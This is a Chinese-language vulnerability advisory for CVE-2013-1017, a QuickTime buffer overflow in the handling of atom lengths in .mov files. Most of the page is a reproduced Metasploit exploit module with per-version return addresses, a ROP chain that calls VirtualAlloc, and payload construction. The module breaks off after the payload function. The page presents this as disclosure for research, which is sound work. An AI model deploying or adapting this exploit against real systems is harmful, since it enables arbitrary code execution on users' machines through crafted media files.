Apple QuickTime 缓冲区溢出漏洞(CVE

发布日期:2013-05-22
更新日期:2013-07-31

受影响系统:
Apple Quicktime < 7.7.4
描述:
--------------------------------------------------------------------------------
BUGTRAQ  ID: 60097
CVE(CAN) ID: CVE-2013-1017

QuickTime是由苹果电脑所开发的一种多媒体架构,能够处理许多的数字视频、媒体段落、音效、文字、动画、音乐格式,以及交互式全景影像的数项类型。

Windows 7, Vista, XP平台上的QuickTime 7.7.4没有正确处理Alis记录内的如'rdrf'或'dref'的某些原子的数据长度,特制的.mov文件即可触发缓冲区溢出,造成任意代码执行。

<*来源:Tom Gallagher
        Paul Bates
 
  链接:
       
*>

测试方法:
--------------------------------------------------------------------------------

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.

##

require 'msf/core'

class Metasploit4 < Msf::Exploit::Remote
  Rank = NormalRanking

include Msf::Exploit::Remote::HttpServer::HTML

def initialize(info={})
    super(update_info(info,
      'Name'          => "Apple Quicktime 7 Invalid Atom Length Buffer Overflow",
      'Description'    => %q{
        This module exploits a vulnerability found in Apple Quicktime. The flaw is
        triggered when Quicktime fails to properly handle the data length for certain
        atoms such as 'rdrf' or 'dref' in the Alis record, which may result a buffer
        overflow by loading a specially crafted .mov file, and allows arbitrary
        code execution under the context of the user.
      },
      'License'        => MSF_LICENSE,
      'Author'        =>
        [
          'Jason Kratzer', # Original Discovery & PoC (overlapped finding), aka pyoor
          'Tom Gallagher', # Original Discovery (overlapped)
          'Paul Bates',    # Original Discovery (overlapped)
          'sinn3r'        # Metasploit
        ],
      'References'    =>
        [
          [ 'CVE', '2013-1017' ],
          [ 'BID', '60097' ],
          [ 'URL', 'https://support.apple.com/kb/HT5770' ]
        ],
      'Platform'      => 'win',
      'Targets'        =>
        [
          # All of the following addresses are from Quicktime.qts
          # RET = ADD ESP,280; RET, Nop = RET, Pop = POP ESP; RET
          [ 'Quicktime 7.7.3 with IE 8 on Windows XP SP3', {'Ret' => 0x66923467, 'Nop' => 0x6692346d, 'Pop' => 0x66849239} ],
          [ 'Quicktime 7.7.2 with IE 8 on Windows XP SP3', {'Ret' => 0x669211C7, 'Nop' => 0x669211CD, 'Pop' => 0x668C5B55} ],
          [ 'Quicktime 7.7.1 with IE 8 on Windows XP SP3', {'Ret' => 0x66920D67, 'Nop' => 0x66920D6D, 'Pop' => 0x66849259} ],
          [ 'Quicktime 7.7.0 with IE 8 on Windows XP SP3', {'Ret' => 0x66920BD7, 'Nop' => 0x66920BDD, 'Pop' => 0x668E963A} ]
        ],
      'Payload'        =>
        {
          'BadChars'        => "\x00"  # js_property_spray no like nilz
        },
      'DefaultOptions'  =>
        {
          'InitialAutoRunScript' => 'migrate -f'
        },
      'Privileged'    => false,
      'DisclosureDate' => "May 22 2013"
    ))
  end

def get_payload(t)
    p    = ''

rop =
    [
      0x77c1e844, # POP EBP # RETN [msvcrt.dll]
      0x77c1e844, # skip 4 bytes [msvcrt.dll]
      0x77c4fa1c, # POP EBX # RETN [msvcrt.dll]
      0xffffffff,
      0x77c127e5, # INC EBX # RETN [msvcrt.dll]
      0x77c127e5, # INC EBX # RETN [msvcrt.dll]
      0x77c4e0da, # POP EAX # RETN [msvcrt.dll]
      0x2cfe1467, # put delta into eax (-> put 0x00001000 into edx)
      0x77c4eb80, # ADD EAX,75C13B66 # ADD EAX,5D40C033 # RETN [msvcrt.dll]
      0x77c58fbc, # XCHG EAX,EDX # RETN [msvcrt.dll]
      0x77c34fcd, # POP EAX # RETN [msvcrt.dll]
      0x2cfe04a7, # put delta into eax (-> put 0x00000040 into ecx)
      0x77c4eb80, # ADD EAX,75C13B66 # ADD EAX,5D40C033 # RETN [msvcrt.dll]
      0x77c14001, # XCHG EAX,ECX # RETN [msvcrt.dll]
      0x77c3048a, # POP EDI # RETN [msvcrt.dll]
      0x77c47a42, # RETN (ROP NOP) [msvcrt.dll]
      0x77c46efb, # POP ESI # RETN [msvcrt.dll]
      0x77c2aacc, # JMP [EAX] [msvcrt.dll]
      0x77c3b860, # POP EAX # RETN [msvcrt.dll]
      0x77c1110c, # ptr to &VirtualAlloc() [IAT msvcrt.dll]
      0x77c12df9, # PUSHAD # RETN [msvcrt.dll]
      0x77c35459  # ptr to 'push esp #  ret ' [msvcrt.dll]
    ].pack("V*")

p << rop
    p << "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500
    p << payload.encoded

p
  end

内容版权声明:除非注明,否则皆为本站原创文章。

转载注明出处:http://www.heiqu.com/pfswf.html